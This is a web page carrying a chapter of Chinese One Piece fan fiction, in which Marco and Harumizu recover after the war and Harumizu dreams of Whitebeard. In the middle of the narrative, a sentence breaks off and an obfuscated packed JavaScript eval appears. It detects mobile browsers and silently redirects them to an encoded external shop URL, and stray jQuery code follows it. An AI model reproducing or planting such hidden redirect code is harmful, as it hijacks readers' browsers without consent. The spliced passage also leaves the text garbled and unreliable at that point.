默认冷灰
24号文字
方正启体

6. 你,要食言了吗?

作者:怀光长纵本书字数:K更新时间:
    那一战的后续,是乔兹和比斯塔讲给艾斯听的——在和路飞据说有点交情的「死亡外科医生」特拉法尔加·罗的潜水艇上。


    因荷尔蒙果实能力迅速透支体力,身上还有着许多累积起来的、未痊愈的旧伤,路飞的状态很危险。


    在他做手术的期间,红发海贼团的雷德·福斯号追了上来,似乎是来确认他是否安全——船上还有一众去而复返的伙伴、老爹的遗体和几乎被烧成焦炭、同样被红发海贼团的船医「本乡」全力救治中的马尔科和春水。


    此情此景,每一句关于战场的描述都像钝刀子割肉。


    “什么……?黄猿、青雉重伤,赤犬被春水姐……?”


    两边都在紧急手术、一颗心悬在嗓子眼的艾斯几乎不敢相信自己的耳朵。


    他不可置信地看向比斯塔和以藏,得到了两声叹息。


    “是的,这两个人简直是豁出命去了……战国已经被气疯了。”乔兹回忆着,声音沉重。


    那是舍弃全部防御,近乎疯狂的最后一击——比斯塔努力维持着相对平静的语气,但还是没控制住颤抖。


    “他们俩根本就没想过,除了「共死」以外的结局。”


    青炎焚尽,凤凰印出!


    马尔科用出了拼尽全力的「凤凰印」,一脚贯穿了青雉胸口被砍出来的伤处,将他踢飞数百米远,撞断了好几座冰山。


    ——自己,则是结结实实地吃了一记「冰河时代」。


    他没有分出再生之炎来修复自己被急速冻结的身躯,而是任全部火焰,紧紧缠绕在春水身侧!


    青炎环伺,万物不侵。


    那耀眼的青金色火焰,裹挟着巨大的冲击波,竟在宛若炼狱的岩浆海中,为她生生开辟出一条路!


    就是现在!


    春水的身影在那条火焰通路中一闪而过,同样是放弃所有防御的以命相搏,奥义「无我三相」悍然挥出!


    艾斯仿佛能透过比斯塔的讲述,“看”到那惊世骇俗的三刀:


    第一刀,斩断了翻涌的熔岩巨浪;


    第二刀,破开了赤犬的武装色霸气防御;


    最后一刀,则是快得超越了视觉捕捉的极限,利落地、平滑地、带着一种斩断宿命的决绝,切断了赤犬的脖颈!


    血柱喷涌,那颗代表着海军「绝对正义」的头颅,应声落地!


    但直面岩浆攻击不闪不避,代价同样是惨烈的。


    挥出这三刀后,春水彻底脱力,自半空中坠落。整个人被未消散的岩浆烧得焦黑溃烂,几乎看不出原貌。


    下方几乎被冻成冰雕、全身僵直的马尔科,近乎奇迹般地、紧紧地、死死地将坠落的春水接在了怀里。


    两人如同燃烧的陨石,重重砸在破碎的冰面上。


    ——兔起鹘落,以伤换伤。本以为是苟延残喘,飞蛾扑火。那样不值一提的反扑竟成了斩首刀。


    岩浆依旧在熊熊燃烧,将三个身影吞没……一切都发生的太快了,快到没人能反应过来。


    而确保其余伙伴们已经安全撤离,准备去找赤犬拼命的几位队长赶过去时,看到的就是这幅场面。


    “要不是甚平,用「洋流过肩摔」把他们丢进海里……”比斯塔的声音带着后怕,“说不定就真的……”


    “太乱来了,两个人都是。”乔兹更是红了眼睛,狠狠地擦了一把眼泪。


    见他俩已经说不下去了,一边的以藏轻轻叹了口气,抽起烟来。


    烟雾弥漫,艾斯茫然地听着「顶上战争」的结尾,泪水无声滑落。


    ——另一边战场上,纽盖特拼尽全力,将试图阻拦他的波鲁萨利诺按着脑袋锤到了地底深沟中。


    一切的始作俑者「黑胡子」蒂奇浑水摸鱼,收服了海底大监狱穷凶极恶的几名罪犯,并联手朝纽盖特发动攻击。


    纽盖特身中数道足以致命的贯穿伤,却依旧用最后的「震震果实」,一击击毁了马林梵多的总部建筑,再一击击溃了蒂奇的防线。


    ——杀招被那句「老爹」的求饶声干扰,同样是三十余年的陪伴,他最终还是没下去手。


    他顶天立地地死了。


    用诡异的法子夺取了「震震果实」,蒂奇对上了战国、卡普等一众海军,准备趁此机会好好闹上一通,继续这场毫无意义的「顶上战争」——最好能趁乱再多杀个大将。


    就在此刻。


    “轰!!!”


    磅礴无比的霸王色霸气如同天罚般降临,整个马林梵多的战场为之一静。


    冰面碎裂,实力不济的海军成片倒下。雷德·福斯号如同王者君临,驶入湾内。


    “是红发海贼团的船!!”“为、为什么!「四皇」会出现在这里!!”


    “到此为止吧,”香克斯站在船头,脸色严肃,格里芬已然出鞘一半,“我来结束这场战争。”


    “如果还有人想动手——”


    “来吧。”


    “——我们,来做你的对手!”


    红发海贼团的介入,彻底改变了战局天平。


    “真的多亏了他啊,红发。”


    “不然我们真的不知道怎么带回老爹和……和他们俩。”


    艾斯望向倚在雷德·福斯号船舷边的香克斯,对方一直沉默地注视着写有「手术中」的船舱。


    似是感受到他的注视,曾有过一面之缘、最年轻的「四皇」朝他点了点头。


    停放着老爹的棺椁就在不远,无数家人死去,还有手术室里为了断后而生死不知的马尔科和春水姐——一切都因他而起,这沉重的负罪感几乎要将他压垮。


    “真不知道该怎么朝你们道谢……”艾斯走上前去,已经泪流满面。


    他哽咽着朝香克斯道谢,乔兹和比斯塔一左一右揽住了少年的肩膀,以做安慰。


    “小事一桩,不用在意。”香克斯移开了目光,再一次望向船舱。


    他手里还紧握着什么,如果马尔科还醒着,他应该认得出来。


    ——那是春水最后一战前织完的围巾,她特意委托了船上负责运送伤员的后勤人员:


    “如果有机会,请把它送给香克斯。”


    洁白的云贝绒被红石粉细细染成了红色,针脚细密,内侧还有香克斯的名字。


    这算什么。


    这算什么啊……笨蛋。


    连句话都没留下,就奔着同归于尽去了……这算是,唯一的遗物吗?


    香克斯很难形容自己看见那具与平日截然不同的残破身躯,以及不久前收到这份赠礼时,那一瞬间的心情。


    ——居然真的能做到这个地步。


    回忆着那夺取最强大将首级的三刀,他沉沉地叹了一口气,将头埋在了掌心。


    “太乱来了。”


    虽然本乡明确通知了存活几率渺茫,要乔兹他们做好心理准备……但……一定要挺过去啊,春水。


    时间在煎熬中缓慢流逝,两边船上的船医都在尽全力与死神搏斗。


    不知道过了多久,特拉法尔加·罗率先走了出来,脸上带着疲惫,但眼神平静:“草帽当家的暂时脱离危险了,但需要长时间静养。”


    艾斯悬着的心放下了一半,目光立刻又投向了另一边,本乡还在里面忙碌。


    这两人的生命体征极其微弱,状况不容乐观。


    好在罗的「手术果实」帮上了大忙。从日头正盛忙到明月高悬,在两位船医的全力救治下,守在外面度日如年的几个人终于得到了第一个好消息。


    ——马尔科醒了。


    无愧于「不死鸟」之名,再生之炎耗尽,肉身被冰封后又投入岩浆,全身上下没一块好皮,几乎都被绷带缠成了个粽子——这样的情况下,他居然是第一个脱离危险的人。


    本乡走了出来,叹息着和他们讲解情况:“马尔科暂时稳定了。但他的身体透支得太严重,短期内应该是用不了果实能力了。”


    “不愧是他,恢复力确实惊人……他已经醒了。但声带严重受损,不能说话,需要静养。注意让他多休息。”


    “那……那春水姐呢?”大家为这个消息狠狠地松了口气,但艾斯敏锐地察觉到他话没说完,心头骤然涌起不祥的预感。


    果然,本乡和从手术室中走出、正在按摩手腕的罗对视一眼。


    两位船医的语气已经带着点遗憾和鼓励了:“她是存了死志的,相当于直接跳进了岩浆里,一点防御都没做。全身超过百分之七十的皮肤碳化,需要多次植皮。内脏破裂、灼伤……情况非常棘手。”


    “我们能做的都做了,至于能不能醒过来……看她的意志了。”


    听懂了他们的言外之意,船舱上的所有人的心,几乎是在那一瞬间,沉沉地坠入了深海里。


    “去看看马尔科吧。”


    良久,几人之中年龄最大的比斯塔抹了把脸率先开口,露出了个比哭还难看的笑脸。


    “先别……别和他说春水的情况了。老爹已经……这个家,不能再失去任何人了。”


    乔兹和以藏迅速调整好表情,艾斯用力揉了揉脸,试图挤出一点轻松的笑意。几人谢过两位船医,涌入手术室。


    马尔科躺在病床上,脸色苍白如纸。他睁着眼睛望向天花板,虽然虚弱,眼神却已经逐渐清明。


    听见了几人下饺子一样跑过来的脚步声,他似乎是笑了,视线艰难地转向他们,带着点歉意和安抚,轻轻地眨了眨眼。


    乔兹的眼泪登时刹不住闸了:“混蛋马尔科!你还知道醒啊!!逞什么英雄啊你个臭小子!我们都要担心死了!!!”


    比斯塔也蹲在他床前,笑骂道:“你小子真行啊你,起码等我们来再一起上啊——不过干得漂亮!赤犬死了,青雉重伤,你那记凤凰印……真的太帅了。”


    以藏笑着朝他用力比了个大拇指,艾斯也凑上去支支吾吾地和他道歉。


    “马尔科,我……”


    他想说对不起当时没顾你们的阻拦一意孤行,对不起没打过蒂奇连累你们来救我,对不起害大家失去了老爹。


    「对不起,都是我的错。」


    但他对上马尔科平静的、温和的目光,就像最初在莫比迪克号上,递给那个迷茫少年一碗热汤时一样的眼神。艾斯最后还是小心的、悬空虚虚握住他的手。


    “马尔科……我好好活下来了,我没事!你也要……快点好起来!”


    少年咬牙流着泪,朝病床上的兄长说道。


    除了眨眼什么都做不到,马尔科任由他们发泄完全情绪,倒豆子一样七嘴八舌地讲述着后续。


    老爹的遗体被妥善安置,准备带回他的故乡斯芬克斯岛安葬;红发如何终结战争;伙伴们的撤离情况……他耐心地一一听着。


    但渐渐地,他的眼神开始流露出明显的询问,在所有人口中逡巡,最终定格在空白的区域。


    那是大家都在努力避而不谈的人。


    「春水,她怎么样了?」


    ——马尔科的目光明晃晃地写着这几个字。


    乔兹一时间不敢与他对视,以藏顺势接过话茬,平静地编瞎话:“你知道的,春水没你那么耐造,她得再过几天才能醒。”


    比斯塔讷讷附和,艾斯则干脆把头埋在他枕头边,不敢让他看见自己大滴大滴滚落的眼泪。


    马尔科的目光在他们之间晃来晃去,似是怀疑,最后对上了安静倚在门边的香克斯的眼睛。


    他努力用眼神表达出感谢的样子有点好笑,香克斯神情暂缓,开口道:“谢的话等你好了再说吧。即使是敌人,白胡子也是个令人敬佩的男人,我相信战国也是这么想的。”


    他的语气很郑重。


    但马尔科没有回应这份郑重。


    他的目光从香克斯的脸上,移到了他手中一直紧紧攥着的那条——即使在昏暗的船舱里也异常醒目的红色围巾上,然后又扫回乔兹和比斯塔那一说谎就有些不自在的脸上。


    他们自小一起长大,有些事瞒的过别人,却瞒不过彼此。


    马尔科极其缓慢地呼出一口气,仿佛用尽了全身力气,然后慢慢地闭上了眼睛。


    他明白了。


    ——春水的情况,恐怕已经糟糕到……连醒过来都成为一种奢望了。


    他心如明镜。


    按着他俩那股只攻不守的自杀式打法,没有当场宣告死亡,已经是奇迹中的奇迹,是老爹在天之灵保佑了。


    老实说,睁开眼后,他甚至有一瞬间的恍惚,以为自己终于见到了老爹和……她。


    可惜,果然是做梦啊……能再见到老爹什么的……


    没事的。


    一定没事的。


    春水——她答应过他的。


    不会让他孤身一人,她答应过他的。


    不死鸟的睫毛剧烈颤抖着,一大滴泪无声地从眼角滑落,迅速洇湿了洁白的绷带。


    ——没事的。


    时间一天天过去,路飞也醒了。


    在确定艾斯一切安好后,他大喊着"好饿”,被哥哥无奈地背上了九蛇岛——那位海贼女帝波雅·汉库克一反常态地热心肠,为他们特意准备了大量的食物。


    一通饱餐后,路飞迅速恢复了精神。


    艾斯不放心马尔科他们,和罗郑重道过谢后暂时告别了路飞——冥王雷利似乎是想对他展开特训,为了帮他提升实力,适应新世界。


    没有老爹压着,原白胡子海贼团管辖的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493575|202364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地盘也或多或少遭遇了破坏,尤其是蒂奇那个趁火打劫的家伙——剩余的伙伴们一同参加了老爹的葬礼后,纷纷前往鱼人岛以及新世界各个岛屿,平息纷争。


    纽盖特去世后的半个月,世界各处均掀起了风浪。


    而在停泊于斯芬克斯岛的雷德·福斯号上,时间仿佛被按下了暂停键。


    春水依旧沉沉昏睡,仿佛要将前半生的所有疲惫一次清偿。


    马尔科已经能不需要被人搀扶,相对自如地活动了。


    虽然身体远未康复,内脏时常传来隐痛,失去再生之炎庇护的伤口愈合得异常缓慢,声带受损让他发出的声音嘶哑得如同破旧风箱。


    ——但这一切都无法阻止他。


    他本就精通药理,又和本乡一拍即合,常常拖着未愈的身体窝在狭小的医务室。


    两个医术高超的男人对着药典和一堆草药,低声讨论着,试图找出最优的配方来促进春水伤口的愈合。


    在他们不懈的努力下,春水生命体征日益平稳,身上骇人的烧伤也逐渐结痂、脱落,露出粉嫩的新肉。


    被蒂奇重创,留在后勤船队的萨奇也醒了,吵着要来看望老爹,哪怕是自己划船也要划过来——以藏不放心,已经借了艘船去接他了。


    纽盖特去世后的一个月,白胡子海贼团原有的管辖岛被蒂奇、玲玲和凯多瓜分,鱼人岛也因其美味无比的甜点而尤为博得玲玲的青睐。


    为守护鱼人岛,甚平带领着鱼人海贼团并入万国。


    本着帮助罗杰船长照顾他儿子的职责,香克斯接手了对艾斯霸气和武技的锤炼。意料之外但情理之中的,艾斯也觉醒了霸王色霸气。


    萨奇与以藏终于回来了。


    正面见识了自己与若干巅峰强者的实力差距,比斯塔与乔兹也决心继续修行——由于国家无法支付“天上金”,而无法加盟世界政府,斯芬克斯岛最终沦为海贼和人贩子横行的“不法之岛”。


    老爹一直匿名向自己的出生地送去「脏钱」和「物资」,吝啬如他,会蹭别人的酒喝,也从没请过客。但大家都知道,他的所有宝藏都会送到这里来。


    明明在这里没有家人,朋友也早已不在人世,但这座岛,就是他的「故乡」。


    为了守护老爹的故乡,四人很快走出失意,干劲满满地在海贼窝里大闹了一通。


    马尔科已经康复了大半,再生之炎在他指尖重新燃烧。除了脖颈狰狞的伤疤与沙哑的嗓子,似乎一切都在往好的方向发展。


    但春水……


    即使有近乎神迹、使副作用降到最低的「手术果实」,即使后期红发海贼团帮忙找了最好的去疤药。


    但大面积的植皮手术还是在她的侧脸、脖颈、手臂留下了交错着浅粉色的、蜿蜒的瘢痕。


    她的呼吸平稳,脉搏有力,从生理指标上看,她早已该醒来。


    但——


    她就是没有醒来。


    如同陷入了一个令人沉迷的、温暖的梦乡,她的表情甚至可以被称为安详。


    “为什么还是不醒呢?”本乡百思不得其解,将医书翻得哗啦响。


    “……”马尔科沉默地整理着药草,没有回答。


    他望向床上那道身影,心里大概明白。


    或许不是不能……而是不想。


    梦里有鼎盛的白胡子海贼团,有如山般可靠的老爹,有永远不会结束的航行和欢笑……太过美好,使人沉溺其中,不愿面对残酷的现实。


    春水——


    你,要食言了吗?


    这个念头像一根刺。他不敢再多想,只是日复一日地守在她床边,履行着三十年来早已成为本能的照顾。


    时间就在这压抑的守望中流逝。直到一个满月之夜。


    皎洁的月光透过舷窗,洒在寂静的病房内,为室内披上了一层清辉。马尔科趴在春水的枕头边,连日来的疲惫和没好全的身体,让他终于支撑不住,陷入了浅眠。


    他的额头抵着床沿,一只手还虚虚地握着春水的手腕,时刻确认她的脉搏。


    病房里安静得只剩下两人微弱的呼吸声。


    就在这时,床上那具可能永远沉睡的身体,眼睫突兀地动了动。


    春水的梦境,正走向终点。


    梦里,时光倒流,十二岁的少女坐在纽盖特宽厚的肩膀上,晃荡着双腿。


    “老爹,老爹。”


    她抱着纽盖特的脖子,依赖地蹭了蹭,很久、很久也不愿意松开。


    ——“我哪儿都不想去了,只想在这里一直陪着你。”


    梦境如同倒放的胶片,将这三十多年的日日夜夜重新演绎了一遍,有老爹、有马尔科、有大家,让她不由自主地沉浸其中。


    纽盖特享受着女儿少见的撒娇,“库啦啦啦啦”地笑着:“看起来很开心啊,春水?遇见什么事了吗?”


    “没什么,老爹,就是——就是很想你。”少女这样说着,明明很开心,却不知道为什么,心里空落落的。


    眼泪突然簌簌滚落,止不住的流淌。


    “老爹,如果有一天你不见了,我们怎么办啊?”她噙着泪,鼻子哭的红红的,这么问道。


    纽盖特被她逗笑,又舍不得看她哭肿了眼睛的模样,他给了她一个坚实无比的拥抱。


    “傻孩子,人总是会死的。”纽盖特耐心地哄着她,就像是哄着一个长不大的孩子,“但在我走的时候,你一定已经长成了一个能独当一面的大人了。”


    “生如远舟,会者定离。”


    “春水,老爹也舍不得你,但不要偷懒太久了。马尔科、艾斯、乔兹、比斯塔、以藏……还有那个红发小鬼,大家都很担心你。”


    纽盖特这样说着,突然咧开嘴,露出了一个带着些许遗憾却又无比温和的笑容。


    “可是老爹,我很害怕。”春水小声嘟囔着,忽然不敢去看他的眼睛和笑容了——她知道,那意味着永远的「别离」。


    “马尔科也很害怕呀。”纽盖特用大手一下一下拍着春水的脑袋,笑着问她,“他现在可能在哭鼻子呢,自己一个人。这样也不想回去吗?”


    “啊……他……”


    春水突然有些踟蹰了,她低头看着搅在一起的手指,想起了很久以前的诺言,也想起了那一夜被噩梦魇住的、瘦小的男孩。


    纽盖特发出了一声大笑。


    他轻声和春水说了句什么,得到了她的保证后——


    与不敢回忆的那最后一幕缓缓重合,他遥遥地,朝着她的方向,轻轻摆了摆手:


    “该起床了。去吧,我的女儿。”


    我的女儿。我的孩子们。


    ——“老爹永远深爱着你们。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)